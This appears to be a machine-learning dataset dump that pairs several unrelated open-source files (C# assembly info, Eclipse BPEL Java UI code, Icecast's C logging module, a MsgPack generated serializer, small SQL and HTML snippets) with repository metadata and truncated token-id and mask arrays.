[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("QualificationB")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("QualificationB")] [assembly: AssemblyCopyright("Copyright © 2017")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("19a1a09d-9a9e-4968-ac5d-8e2cc7a445fc")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
marcoschoma/programmingchallenges
CodeJam2017/QualificationB/Properties/AssemblyInfo.cs
C#
gpl-2.0
1,399
[ 30522, 2478, 2291, 1012, 9185, 1025, 2478, 2291, 1012, 2448, 7292, 1012, 21624, 8043, 7903, 2229, 1025, 2478, 2291, 1012, 2448, 7292, 1012, 6970, 11923, 2121, 7903, 2229, 1025, 1013, 1013, 2236, 2592, 2055, 2019, 3320, 2003, 4758, 2083, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/******************************************************************************* * Copyright (c) 2005 IBM Corporation and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * IBM Corporation - initial API and implementation *******************************************************************************/ package org.eclipse.bpel.ui.editparts; import org.eclipse.bpel.model.CompensationHandler; import org.eclipse.bpel.model.EventHandler; import org.eclipse.bpel.model.TerminationHandler; import org.eclipse.bpel.ui.BPELUIPlugin; import org.eclipse.bpel.ui.IBPELUIConstants; import org.eclipse.bpel.ui.editparts.borders.RoundRectangleBorderWithDecoration; import org.eclipse.bpel.ui.editparts.policies.BPELContainerEditPolicy; import org.eclipse.bpel.ui.editparts.policies.BPELOrderedLayoutEditPolicy; import org.eclipse.bpel.ui.editparts.policies.ContainerHighlightEditPolicy; import org.eclipse.bpel.ui.figures.ILayoutAware; import org.eclipse.bpel.ui.util.ModelHelper; import org.eclipse.draw2d.Border; import org.eclipse.draw2d.Figure; import org.eclipse.draw2d.FlowLayout; import org.eclipse.draw2d.IFigure; import org.eclipse.draw2d.MarginBorder; import org.eclipse.draw2d.geometry.Insets; import org.eclipse.gef.EditPolicy; import org.eclipse.swt.graphics.Image; public class FaultHandlerEditPart extends BPELEditPart implements ILayoutAware{ private Image image; private IFigure contentPane; private Border containerBorder; public static final int LEFT_MARGIN = 30; protected void createEditPolicies() { super.createEditPolicies(); // Show the selection rectangle installEditPolicy(EditPolicy.SELECTION_FEEDBACK_ROLE, new ContainerHighlightEditPolicy(false, false)); installEditPolicy(EditPolicy.CONTAINER_ROLE, new BPELContainerEditPolicy()); installEditPolicy(EditPolicy.LAYOUT_ROLE, new BPELOrderedLayoutEditPolicy()); } protected IFigure createFigure() { IFigure figure = new Figure(); FlowLayout layout = new FlowLayout(); layout.setMinorAlignment(FlowLayout.ALIGN_CENTER); boolean vertical = (getModel() instanceof CompensationHandler) || (getModel() instanceof TerminationHandler); boolean horizontalLayout = ModelHelper.isHorizontalLayout(getModel()); layout.setHorizontal(horizontalLayout ? vertical : !vertical); figure.setLayoutManager(layout); if (image == null) { // Get Image from registry if (getModel() instanceof EventHandler) { image = BPELUIPlugin.INSTANCE.getImage(IBPELUIConstants.ICON_EVENT_INDICATOR); } else if (getModel() instanceof CompensationHandler) { image = BPELUIPlugin.INSTANCE.getImage(IBPELUIConstants.ICON_COMPENSATION_INDICATOR); } else if (getModel() instanceof TerminationHandler) { image = BPELUIPlugin.INSTANCE.getImage(IBPELUIConstants.ICON_TERMINATION_INDICATOR); } else { image = BPELUIPlugin.INSTANCE.getImage(IBPELUIConstants.ICON_FAULT_INDICATOR); } } figure.setBorder(new RoundRectangleBorderWithDecoration(figure, image, new Insets(20, 10, 20, 10))); figure.setOpaque(true); this.contentPane = figure; int topMargin = calcTopMargin(horizontalLayout); int leftMargin = calcLeftMargin(horizontalLayout); IFigure container = new Figure(); this.containerBorder = new MarginBorder(topMargin,leftMargin,0,0); container.setBorder(containerBorder); container.add(figure); layout = new FlowLayout(); layout.setHorizontal(false); container.setLayoutManager(layout); return container; } public void deactivate() { if (!isActive()) return; super.deactivate(); if (this.image != null) { //this.image.dispose(); this.image = null; } } public IFigure getContentPane() { return contentPane; } public void switchLayout(boolean horizontal) { boolean vertical = (getModel() instanceof CompensationHandler) || (getModel() instanceof TerminationHandler); boolean horizontalLayout = ModelHelper.isHorizontalLayout(getModel()); ((FlowLayout)getContentPane().getLayoutManager()).setHorizontal(horizontalLayout ? vertical : !vertical); int leftMargin = calcLeftMargin(horizontal); int topMargin = calcTopMargin(horizontal); getFigure().setBorder(new MarginBorder(topMargin,leftMargin,0,0)); } /** * Calculates the top margin regarding the layout orientation * @return */ private int calcTopMargin(boolean horizontal){ int topMargin = 0; if(horizontal){ topMargin = 2; }else{ if(getParent() instanceof ScopeEditPart){ // Four possible handlers topMargin = 42; }else if(getParent() instanceof InvokeEditPart){ // Standard offset topMargin = 17; }else topMargin = 16; } return topMargin; } /** * Calculates the left margin regarding the layout orientation * @return */ private int calcLeftMargin(boolean horizontal){ int leftMargin = 0; if(horizontal && getParent() instanceof ProcessEditPart){ leftMargin = LEFT_MARGIN; } return leftMargin; } }
chanakaudaya/developer-studio
bps/org.eclipse.bpel.ui/src/org/eclipse/bpel/ui/editparts/FaultHandlerEditPart.java
Java
apache-2.0
5,167
[ 30522, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* Icecast * * This program is distributed under the GNU General Public License, version 2. * A copy of this license is included with this source. * * Copyright 2000-2004, Jack Moffitt <jack@xiph.org, * Michael Smith <msmith@xiph.org>, * oddsock <oddsock@xiph.org>, * Karl Heyes <karl@xiph.org> * and others (see AUTHORS for details). * Copyright 2011-2012, Philipp "ph3-der-loewe" Schafft <lion@lion.leolix.org>, */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <stdio.h> #include <time.h> #include <string.h> #include "common/thread/thread.h" #include "common/httpp/httpp.h" #include "connection.h" #include "refbuf.h" #include "client.h" #include "compat.h" #include "cfgfile.h" #include "logging.h" #include "util.h" #ifdef _WIN32 #define snprintf _snprintf #define vsnprintf _vsnprintf #endif /* the global log descriptors */ int errorlog = 0; int accesslog = 0; int playlistlog = 0; #ifdef _WIN32 /* Since strftime's %z option on win32 is different, we need to go through a few loops to get the same info as %z */ int get_clf_time (char *buffer, unsigned len, struct tm *t) { char sign; char timezone_string[7]; struct tm gmt; time_t time1 = time(NULL); int time_days, time_hours, time_tz; int tempnum1, tempnum2; struct tm *thetime; time_t now; #if !defined(_WIN32) thetime = gmtime_r(&time1, &gmt) #else /* gmtime() on W32 breaks POSIX and IS thread-safe (uses TLS) */ thetime = gmtime (&time1); if (thetime) memcpy (&gmt, thetime, sizeof (gmt)); #endif /* FIXME: bail out if gmtime* returns NULL */ if (!thetime) { snprintf(buffer, len, "<<BAD TIMESTAMP>>"); return 0; } time_days = t->tm_yday - gmt.tm_yday; if (time_days < -1) { tempnum1 = 24; } else { tempnum1 = 1; } if (tempnum1 < time_days) { tempnum2 = -24; } else { tempnum2 = time_days*24; } time_hours = (tempnum2 + t->tm_hour - gmt.tm_hour); time_tz = time_hours * 60 + t->tm_min - gmt.tm_min; if (time_tz < 0) { sign = '-'; time_tz = -time_tz; } else { sign = '+'; } snprintf(timezone_string, sizeof(timezone_string), " %c%.2d%.2d", sign, time_tz / 60, time_tz % 60); now = time(NULL); thetime = localtime(&now); strftime(buffer, len - sizeof(timezone_string), "%d/%b/%Y:%H:%M:%S", thetime); strcat(buffer, timezone_string); return 1; } #endif /* ** ADDR IDENT USER DATE REQUEST CODE BYTES REFERER AGENT [TIME] ** ** ADDR = client->con->ip ** IDENT = always - , we don't support it because it's useless ** USER = client->username ** DATE = _make_date(client->con->con_time) ** REQUEST = build from client->parser ** CODE = client->respcode ** BYTES = client->con->sent_bytes ** REFERER = get from client->parser ** AGENT = get from client->parser ** TIME = timing_get_time() - client->con->con_time */ void logging_access(client_t *client) { char datebuf[128]; struct tm thetime; time_t now; time_t stayed; const char *referrer, *user_agent, *username; now = time(NULL); localtime_r (&now, &thetime); /* build the data */ #ifdef _WIN32 memset(datebuf, '\000', sizeof(datebuf)); get_clf_time(datebuf, sizeof(datebuf)-1, &thetime); #else strftime (datebuf, sizeof(datebuf), LOGGING_FORMAT_CLF, &thetime); #endif stayed = now - client->con->con_time; if (client->username == NULL) username = "-"; else username = client->username; referrer = httpp_getvar (client->parser, "referer"); if (referrer == NULL) referrer = "-"; user_agent = httpp_getvar (client->parser, "user-agent"); if (user_agent == NULL) user_agent = "-"; log_write_direct (accesslog, "%s - %H [%s] \"%H %H %H/%H\" %d %llu \"% H\" \"% H\" %llu", client->con->ip, username, datebuf, httpp_getvar (client->parser, HTTPP_VAR_REQ_TYPE), httpp_getvar (client->parser, HTTPP_VAR_URI), httpp_getvar (client->parser, HTTPP_VAR_PROTOCOL), httpp_getvar (client->parser, HTTPP_VAR_VERSION), client->respcode, (long long unsigned int)client->con->sent_bytes, referrer, user_agent, (long long unsigned int)stayed); } /* This function will provide a log of metadata for each mountpoint. The metadata *must* be in UTF-8, and thus you can assume that the log itself is UTF-8 encoded */ void logging_playlist(const char *mount, const char *metadata, long listeners) { char datebuf[128]; struct tm thetime; time_t now; if (playlistlog == -1) { return; } now = time(NULL); localtime_r (&now, &thetime); /* build the data */ #ifdef _WIN32 memset(datebuf, '\000', sizeof(datebuf)); get_clf_time(datebuf, sizeof(datebuf)-1, &thetime); #else strftime (datebuf, sizeof(datebuf), LOGGING_FORMAT_CLF, &thetime); #endif /* This format MAY CHANGE OVER TIME. We are looking into finding a good standard format for this, if you have any ideas, please let us know */ log_write_direct (playlistlog, "%s|%s|%ld|%s", datebuf, mount, listeners, metadata); } void log_parse_failure (void *ctx, const char *fmt, ...) { char line [200]; va_list ap; char *eol; va_start (ap, fmt); vsnprintf (line, sizeof (line), fmt, ap); eol = strrchr (line, '\n'); if (eol) *eol='\0'; va_end (ap); log_write (errorlog, 2, (char*)ctx, "", "%s", line); } void restart_logging (ice_config_t *config) { if (strcmp (config->error_log, "-")) { char fn_error[FILENAME_MAX]; snprintf (fn_error, FILENAME_MAX, "%s%s%s", config->log_dir, PATH_SEPARATOR, config->error_log); log_set_filename (errorlog, fn_error); log_set_level (errorlog, config->loglevel); log_set_trigger (errorlog, config->logsize); log_set_archive_timestamp(errorlog, config->logarchive); log_reopen (errorlog); } if (strcmp (config->access_log, "-")) { char fn_error[FILENAME_MAX]; snprintf (fn_error, FILENAME_MAX, "%s%s%s", config->log_dir, PATH_SEPARATOR, config->access_log); log_set_filename (accesslog, fn_error); log_set_trigger (accesslog, config->logsize); log_set_archive_timestamp (accesslog, config->logarchive); log_reopen (accesslog); } if (config->playlist_log) { char fn_error[FILENAME_MAX]; snprintf (fn_error, FILENAME_MAX, "%s%s%s", config->log_dir, PATH_SEPARATOR, config->playlist_log); log_set_filename (playlistlog, fn_error); log_set_trigger (playlistlog, config->logsize); log_set_archive_timestamp (playlistlog, config->logarchive); log_reopen (playlistlog); } }
BogusCurry/Icecast-Server
src/logging.c
C
gpl-2.0
7,021
[ 30522, 1013, 1008, 3256, 10526, 1008, 1008, 2023, 2565, 2003, 5500, 2104, 1996, 27004, 2236, 2270, 6105, 1010, 2544, 1016, 1012, 1008, 1037, 6100, 1997, 2023, 6105, 2003, 2443, 2007, 2023, 3120, 1012, 1008, 1008, 9385, 2456, 1011, 2432, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright 2001-2013 Aspose Pty Ltd. All Rights Reserved. * * This file is part of Aspose.Pdf. The source code in this file * is only intended as a supplement to the documentation, and is provided * "as is", without warranty of any kind, either expressed or implied. */ package programmersguide.workingwithasposepdfgenerator.workingwithtext.textformatting.inheritingtextformat.java; import com.aspose.pdf.*; public class InheritingTextFormat { public static void main(String[] args) throws Exception { // The path to the documents directory. String dataDir = "src/programmersguide/workingwithasposepdfgenerator/workingwithtext(generator)/textformatting/inheritingtextformat/data/"; } }
asposemarketplace/Aspose-Pdf-Java
src/programmersguide/workingwithasposepdfgenerator/workingwithtext/textformatting/inheritingtextformat/java/InheritingTextFormat.java
Java
mit
751
[ 30522, 1013, 1008, 1008, 9385, 2541, 1011, 2286, 2004, 20688, 13866, 2100, 5183, 1012, 2035, 2916, 9235, 1012, 1008, 1008, 2023, 5371, 2003, 2112, 1997, 2004, 20688, 1012, 11135, 1012, 1996, 3120, 3642, 1999, 2023, 5371, 1008, 2003, 2069, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
CREATE TABLE eqType( id int NOT NULL, name varchar(45), PRIMARY KEY (id) )
Tec-Ptraktickcenter-Projects/Website
SQL/eqType.sql
SQL
mit
74
[ 30522, 3443, 2795, 1041, 4160, 13874, 1006, 8909, 20014, 2025, 19701, 1010, 2171, 13075, 7507, 2099, 1006, 3429, 1007, 1010, 3078, 3145, 1006, 8909, 1007, 1007, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!-- Navigation --> <nav class="navbar navbar-default navbar-custom navbar-fixed-top"> <div class="container-fluid"> <div class="navbar-header page-scroll"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="{{ site.baseurl }}/">{{ site.title }}</a> </div> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav navbar-right"> <li> <a href="{{ site.baseurl }}/news">Blog</a> </li> {% assign pages = site.pages | sort:"url" %} {% for p in pages %} {% if p.in-nav == true %} <li><a {% if p.url == page.url %}class="active"{% endif %} href="{{ p.url | replace:'index.html','' }}">{{ p.title }}</a></li> {% endif %} {% endfor %} </ul> </div> </div> </nav>
bprbkk/bprbkk
_includes/nav.html
HTML
mit
1,183
[ 30522, 1026, 999, 1011, 1011, 9163, 1011, 1011, 1028, 1026, 6583, 2615, 2465, 1027, 1000, 6583, 26493, 2906, 6583, 26493, 2906, 1011, 12398, 6583, 26493, 2906, 1011, 7661, 6583, 26493, 2906, 1011, 4964, 1011, 2327, 1000, 1028, 1026, 4487, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
//------------------------------------------------------------------------------ // <auto-generated> // このコードはツールによって生成されました。 // ランタイム バージョン:2.0.50727.8009 // // このファイルへの変更は、以下の状況下で不正な動作の原因になったり、 // コードが再生成されるときに損失したりします。 // </auto-generated> //------------------------------------------------------------------------------ namespace MsgPack.Serialization.GeneratedSerializers.MapBased { [System.CodeDom.Compiler.GeneratedCodeAttribute("MsgPack.Serialization.CodeDomSerializers.CodeDomSerializerBuilder", "0.6.0.0")] [System.Diagnostics.DebuggerNonUserCodeAttribute()] public class MsgPack_Serialization_PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionPropertySerializer : MsgPack.Serialization.MessagePackSerializer<MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty> { private MsgPack.Serialization.MessagePackSerializer<string> _serializer0; private MsgPack.Serialization.MessagePackSerializer<System.Collections.Generic.IList<object>> _serializer1; private System.Reflection.MethodBase _methodBasePolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty_set_ListObjectItem0; public MsgPack_Serialization_PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionPropertySerializer(MsgPack.Serialization.SerializationContext context) : base(context) { MsgPack.Serialization.PolymorphismSchema schema0 = default(MsgPack.Serialization.PolymorphismSchema); MsgPack.Serialization.PolymorphismSchema itemsSchema0 = default(MsgPack.Serialization.PolymorphismSchema); System.Collections.Generic.Dictionary<string, System.Type> itemsSchemaTypeMap0 = default(System.Collections.Generic.Dictionary<string, System.Type>); itemsSchemaTypeMap0 = new System.Collections.Generic.Dictionary<string, System.Type>(2); itemsSchemaTypeMap0.Add("0", typeof(MsgPack.Serialization.FileEntry)); itemsSchemaTypeMap0.Add("1", typeof(MsgPack.Serialization.DirectoryEntry)); itemsSchema0 = MsgPack.Serialization.PolymorphismSchema.ForPolymorphicObject(typeof(object), itemsSchemaTypeMap0); schema0 = MsgPack.Serialization.PolymorphismSchema.ForContextSpecifiedCollection(typeof(System.Collections.Generic.IList<object>), itemsSchema0); this._serializer0 = context.GetSerializer<string>(schema0); MsgPack.Serialization.PolymorphismSchema schema1 = default(MsgPack.Serialization.PolymorphismSchema); MsgPack.Serialization.PolymorphismSchema itemsSchema1 = default(MsgPack.Serialization.PolymorphismSchema); System.Collections.Generic.Dictionary<string, System.Type> itemsSchema1TypeMap0 = default(System.Collections.Generic.Dictionary<string, System.Type>); itemsSchema1TypeMap0 = new System.Collections.Generic.Dictionary<string, System.Type>(2); itemsSchema1TypeMap0.Add("0", typeof(MsgPack.Serialization.FileEntry)); itemsSchema1TypeMap0.Add("1", typeof(MsgPack.Serialization.DirectoryEntry)); itemsSchema1 = MsgPack.Serialization.PolymorphismSchema.ForPolymorphicObject(typeof(object), itemsSchema1TypeMap0); schema1 = MsgPack.Serialization.PolymorphismSchema.ForContextSpecifiedCollection(typeof(System.Collections.Generic.IList<object>), itemsSchema1); this._serializer1 = context.GetSerializer<System.Collections.Generic.IList<object>>(schema1); this._methodBasePolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty_set_ListObjectItem0 = typeof(MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty).GetMethod("set_ListObjectItem", (System.Reflection.BindingFlags.Instance | (System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic)), null, new System.Type[] { typeof(System.Collections.Generic.IList<object>)}, null); } protected internal override void PackToCore(MsgPack.Packer packer, MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty objectTree) { packer.PackMapHeader(1); this._serializer0.PackTo(packer, "ListObjectItem"); this._serializer1.PackTo(packer, objectTree.ListObjectItem); } protected internal override MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty UnpackFromCore(MsgPack.Unpacker unpacker) { MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty result = default(MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty); result = new MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty(); if (unpacker.IsArrayHeader) { int unpacked = default(int); int itemsCount = default(int); itemsCount = MsgPack.Serialization.UnpackHelpers.GetItemsCount(unpacker); System.Collections.Generic.IList<object> nullable = default(System.Collections.Generic.IList<object>); if ((unpacked < itemsCount)) { if ((unpacker.Read() == false)) { throw MsgPack.Serialization.SerializationExceptions.NewMissingItem(0); } if (((unpacker.IsArrayHeader == false) && (unpacker.IsMapHeader == false))) { nullable = this._serializer1.UnpackFrom(unpacker); } else { MsgPack.Unpacker disposable = default(MsgPack.Unpacker); disposable = unpacker.ReadSubtree(); try { nullable = this._serializer1.UnpackFrom(disposable); } finally { if (((disposable == null) == false)) { disposable.Dispose(); } } } } if (((nullable == null) == false)) { if ((result.ListObjectItem == null)) { this._methodBasePolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty_set_ListObjectItem0.Invoke(result, new object[] { nullable}); } else { System.Collections.Generic.IEnumerator<object> enumerator = nullable.GetEnumerator(); object current; try { for ( ; enumerator.MoveNext(); ) { current = enumerator.Current; result.ListObjectItem.Add(current); } } finally { enumerator.Dispose(); } } } unpacked = (unpacked + 1); } else { int itemsCount0 = default(int); itemsCount0 = MsgPack.Serialization.UnpackHelpers.GetItemsCount(unpacker); for (int i = 0; (i < itemsCount0); i = (i + 1)) { string key = default(string); string nullable0 = default(string); nullable0 = MsgPack.Serialization.UnpackHelpers.UnpackStringValue(unpacker, typeof(MsgPack.Serialization.PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty), "MemberName"); if (((nullable0 == null) == false)) { key = nullable0; } else { throw MsgPack.Serialization.SerializationExceptions.NewNullIsProhibited("MemberName"); } if ((key == "ListObjectItem")) { System.Collections.Generic.IList<object> nullable1 = default(System.Collections.Generic.IList<object>); if ((unpacker.Read() == false)) { throw MsgPack.Serialization.SerializationExceptions.NewMissingItem(i); } if (((unpacker.IsArrayHeader == false) && (unpacker.IsMapHeader == false))) { nullable1 = this._serializer1.UnpackFrom(unpacker); } else { MsgPack.Unpacker disposable0 = default(MsgPack.Unpacker); disposable0 = unpacker.ReadSubtree(); try { nullable1 = this._serializer1.UnpackFrom(disposable0); } finally { if (((disposable0 == null) == false)) { disposable0.Dispose(); } } } if (((nullable1 == null) == false)) { if ((result.ListObjectItem == null)) { this._methodBasePolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionProperty_set_ListObjectItem0.Invoke(result, new object[] { nullable1}); } else { System.Collections.Generic.IEnumerator<object> enumerator0 = nullable1.GetEnumerator(); object current0; try { for ( ; enumerator0.MoveNext(); ) { current0 = enumerator0.Current; result.ListObjectItem.Add(current0); } } finally { enumerator0.Dispose(); } } } } else { unpacker.Skip(); } } } return result; } private static T @__Conditional<T>(bool condition, T whenTrue, T whenFalse) { if (condition) { return whenTrue; } else { return whenFalse; } } } }
luyikk/ZYSOCKET
msgpack-cli-master/test/MsgPack.UnitTest.Net35/gen/map/MsgPack_Serialization_PolymorphicMemberTypeKnownType_List_ListObjectItemPrivateSetterCollectionPropertySerializer.cs
C#
apache-2.0
11,543
[ 30522, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 101...
